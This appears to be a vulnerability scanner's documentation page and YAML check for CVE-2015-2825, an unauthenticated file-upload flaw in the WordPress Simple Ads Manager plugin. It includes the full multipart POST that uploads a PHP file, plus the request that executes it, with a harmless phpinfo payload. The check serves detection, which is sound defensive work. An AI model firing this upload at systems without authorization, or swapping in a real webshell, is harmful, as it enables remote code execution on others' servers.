Simple Ads Manager — 1 vulnerability check
noctis ships 1 vulnerability check for Simple Ads Manager, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
WordPress Simple Ads Manager sam-ajax-admin.php file upload to PHP execution
| CVE | CVE-2015-2825 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/simple-ads-manager/CVE-2015-2825.yaml |
Posts a PHP file to the plugin's unauthenticated sam-ajax-admin.php, requests it from the plugin directory and reports when it runs (phpinfo() page).
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.0 - Checks
gate.bannerfor^HTTP/1\.[01] 200 - Raw TCP (TLS on HTTPS), sent verbatim:
POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.0 - Raw TCP (TLS on HTTPS), sent verbatim:
GET /wp-content/plugins/simple-ads-manager/noctis_poc.php HTTP/1.0 - Checks
resp.bannerfor(?s)^HTTP/1\.[01] 200\b.*>phpinfo\(\)<.*>System→ finding QoD 97: Simple Ads Manager sam-ajax-admin.php accepted a PHP upload and noctis_poc.php executed (phpinfo() page): …
References:
Feed source — tests/vulnerabilities/simple-ads-manager/CVE-2015-2825.yaml
uid: 613c67a5-604d-47ab-9b8e-fd94b3608a77
name: "WordPress Simple Ads Manager sam-ajax-admin.php file upload to PHP execution (CVE-2015-2825)"
description: "Posts a PHP file to the plugin's unauthenticated sam-ajax-admin.php, requests it from the plugin directory and reports when it runs (phpinfo() page)."
cves: [CVE-2015-2825]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.3
tags: [openvas-migrated, http, simple-ads-manager]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2015-2825"
- "OpenVAS NASL 2015/gb_wordpress_simple_ads_manager_file_upload_vuln.nasl (GPL-2.0-only)"
# Ported from OpenVAS/Greenbone NASL 2015/gb_wordpress_simple_ads_manager_file_upload_vuln.nasl (GPL-2.0-only).
steps:
- id: seed
action: set_var
var_name: product
var_value: false
# NASL gate: the plugin's sam-ajax-admin.php endpoint must respond HTTP 200
# before the (intrusive) upload is attempted, so the webshell POST is never
# fired blindly at a port where the plugin is absent.
- id: gate_probe
action: tcp_connect
port: "{{port}}"
send: "GET /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: gate
- id: gate_match
action: match
source: gate.banner
pattern: "^HTTP/1\\.[01] 200"
on_match:
set_vars:
product: true
- id: upload
action: tcp_connect
port: "{{port}}"
send: "POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: multipart/form-data; boundary=---------------------------18047369202321924582120237505\r\nContent-Length: 407\r\nConnection: close\r\n\r\n-----------------------------18047369202321924582120237505\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload_ad_image\r\n-----------------------------18047369202321924582120237505\r\nContent-Disposition: form-data; name=\"uploadfile\"; filename=\"noctis_poc.php\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php phpinfo(); unlink(__FILE__); ?>\r\n-----------------------------18047369202321924582120237505--\r\n"
store_as: up
condition: "product"
- id: fetch
action: tcp_connect
port: "{{port}}"
send: "GET /wp-content/plugins/simple-ads-manager/noctis_poc.php HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: resp
condition: "product"
- id: detect
action: match
source: resp.banner
pattern: "(?s)^HTTP/1\\.[01] 200\\b.*>phpinfo\\(\\)<.*>System"
condition: "product"
on_match:
finding:
confidence_delta: 0.7
qod: 97
evidence: "Simple Ads Manager sam-ajax-admin.php accepted a PHP upload and noctis_poc.php executed (phpinfo() page): {{resp.banner}}"
stop: true